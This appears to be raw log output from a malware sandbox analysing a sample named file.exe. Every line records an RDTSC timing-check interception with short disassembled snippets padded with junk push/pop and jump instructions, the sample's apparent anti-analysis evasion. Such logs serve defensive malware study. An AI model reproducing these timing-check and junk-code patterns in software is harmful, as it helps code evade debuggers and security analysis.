Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107F72E second address: 107F732 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107F732 second address: 107F74C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF304F62FCh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007FDF304F62FCh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CE2C0 second address: 10CE2CA instructions: 0x00000000 rdtsc 0x00000002 jc 00007FDF311AD4FCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CE548 second address: 10CE552 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CE552 second address: 10CE564 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 pop eax 0x0000000a jnp 00007FDF311AD4F6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CE69F second address: 10CE6A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CE6A3 second address: 10CE6BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FDF311AD500h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D1E3B second address: 10D1E47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FDF304F62FCh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D8C8D second address: 10D8C92 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D8C92 second address: 10D8CB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FDF304F62F6h 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007FDF304F6301h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D8DFF second address: 10D8E31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 jmp 00007FDF311AD502h 0x0000000e pushad 0x0000000f jmp 00007FDF311AD504h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D8FA0 second address: 10D8FC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FDF304F6308h 0x0000000d push ecx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D92A1 second address: 10D92AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jnp 00007FDF311AD4F6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D9405 second address: 10D940D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D8925 second address: 10D896C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FDF311AD503h 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FDF311AD505h 0x00000012 jmp 00007FDF311AD507h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D9BD4 second address: 10D9BE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FDF304F62F6h 0x0000000a je 00007FDF304F62F6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D9BE4 second address: 10D9C11 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FDF311AD4F6h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f js 00007FDF311AD4F8h 0x00000015 pushad 0x00000016 popad 0x00000017 jmp 00007FDF311AD4FCh 0x0000001c jne 00007FDF311AD4FEh 0x00000022 pushad 0x00000023 popad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DC104 second address: 10DC11F instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FDF304F62F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDF304F62FDh 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DC11F second address: 10DC136 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e push edi 0x0000000f pop edi 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DC136 second address: 10DC13A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DC13A second address: 10DC144 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FDF311AD4F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E1285 second address: 10E128D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E151C second address: 10E153B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FDF311AD504h 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E19B4 second address: 10E19B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E1B40 second address: 10E1B56 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF311AD4FBh 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push edx 0x0000000b pop edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E1E4B second address: 10E1E6B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF304F6300h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jc 00007FDF304F62FCh 0x0000000f jp 00007FDF304F62F6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E1E6B second address: 10E1E98 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF311AD4FAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FDF311AD4FBh 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FDF311AD4FFh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E1E98 second address: 10E1E9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E1E9C second address: 10E1EA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E1FFE second address: 10E201C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 jmp 00007FDF304F6304h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E201C second address: 10E2027 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E2027 second address: 10E2031 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FDF304F62F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E2031 second address: 10E2045 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jno 00007FDF311AD4F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d jbe 00007FDF311AD4F6h 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E5A01 second address: 10E5A08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E5A08 second address: 10E5A17 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDF311AD4FAh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106117C second address: 1061182 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E5465 second address: 10E5469 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E7ED9 second address: 10E7EDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F027E second address: 10F029D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF311AD505h 0x00000007 push eax 0x00000008 push edx 0x00000009 jc 00007FDF311AD4F6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A3236 second address: 10A323A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F0847 second address: 10F085E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnp 00007FDF311AD4F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pushad 0x00000011 popad 0x00000012 pop ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F085E second address: 10F0866 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F13CA second address: 10F1400 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FDF311AD4F6h 0x0000000a popad 0x0000000b push ecx 0x0000000c push esi 0x0000000d pop esi 0x0000000e pushad 0x0000000f popad 0x00000010 pop ecx 0x00000011 pushad 0x00000012 jnp 00007FDF311AD4F6h 0x00000018 jmp 00007FDF311AD506h 0x0000001d popad 0x0000001e popad 0x0000001f pushad 0x00000020 pushad 0x00000021 push ecx 0x00000022 pop ecx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F6159 second address: 10F615E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F615E second address: 10F6164 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F6164 second address: 10F617A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push esi 0x00000006 jmp 00007FDF304F62FEh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F617A second address: 10F6196 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FDF311AD503h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F6196 second address: 10F61A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007FDF304F62F6h 0x00000009 push edi 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F5823 second address: 10F5827 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F5AAB second address: 10F5AC5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF304F62FAh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jo 00007FDF304F62F6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F5AC5 second address: 10F5AC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F5D6E second address: 10F5D78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FDF304F62F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F5D78 second address: 10F5D7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FDFDE second address: 10FDFE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FDFE4 second address: 10FDFF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jp 00007FDF311AD4F6h 0x0000000c pushad 0x0000000d popad 0x0000000e push edi 0x0000000f pop edi 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FC63D second address: 10FC642 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FCC17 second address: 10FCC1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FCC1D second address: 10FCC21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FD1D7 second address: 10FD1E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FDF311AD4F6h 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FD1E2 second address: 10FD20F instructions: 0x00000000 rdtsc 0x00000002 js 00007FDF304F62F8h 0x00000008 pushad 0x00000009 popad 0x0000000a ja 00007FDF304F62FCh 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 push edx 0x00000017 pop edx 0x00000018 push edx 0x00000019 pop edx 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f jp 00007FDF304F62F6h 0x00000025 push edx 0x00000026 pop edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FD20F second address: 10FD213 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FD213 second address: 10FD22B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FDF304F62FFh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11066C7 second address: 11066CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1105B3F second address: 1105B72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDF304F6309h 0x00000009 jmp 00007FDF304F6300h 0x0000000e popad 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110ECD9 second address: 110ECEC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jl 00007FDF311AD4F8h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110D22F second address: 110D239 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FDF304F62F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110D239 second address: 110D25A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007FDF311AD508h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110D415 second address: 110D424 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jbe 00007FDF304F62FEh 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110D58E second address: 110D592 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110D592 second address: 110D5A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FDF304F62F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jc 00007FDF304F6302h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110D9DD second address: 110D9E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110DB5A second address: 110DB63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 pushad 0x00000007 popad 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110E418 second address: 110E427 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF311AD4FBh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110E427 second address: 110E42D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1115698 second address: 11156A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FDF311AD4F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11156A2 second address: 11156A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1122A98 second address: 1122A9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1122A9E second address: 1122ABF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 jmp 00007FDF304F6308h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1122ABF second address: 1122AC6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112262B second address: 1122635 instructions: 0x00000000 rdtsc 0x00000002 js 00007FDF304F62F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1122635 second address: 1122645 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007FDF311AD4F6h 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1122645 second address: 1122649 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1122649 second address: 1122674 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FDF311AD4FAh 0x0000000d jg 00007FDF311AD502h 0x00000013 popad 0x00000014 push ecx 0x00000015 pushad 0x00000016 push edi 0x00000017 pop edi 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11227BB second address: 11227C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11227C1 second address: 11227C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11227C5 second address: 11227DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FDF304F62F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jne 00007FDF304F62F6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1127FD2 second address: 1127FE2 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FDF311AD4F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1127FE2 second address: 1127FE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1127FE6 second address: 1128004 instructions: 0x00000000 rdtsc 0x00000002 je 00007FDF311AD4F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDF311AD502h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112CADB second address: 112CAE9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF304F62FAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11360B9 second address: 11360CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FDF311AD500h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1135F3C second address: 1135F77 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FDF304F62F6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FDF304F6308h 0x00000013 jmp 00007FDF304F6305h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11392CC second address: 11392D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113F11A second address: 113F11E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113F11E second address: 113F122 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113F122 second address: 113F12D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
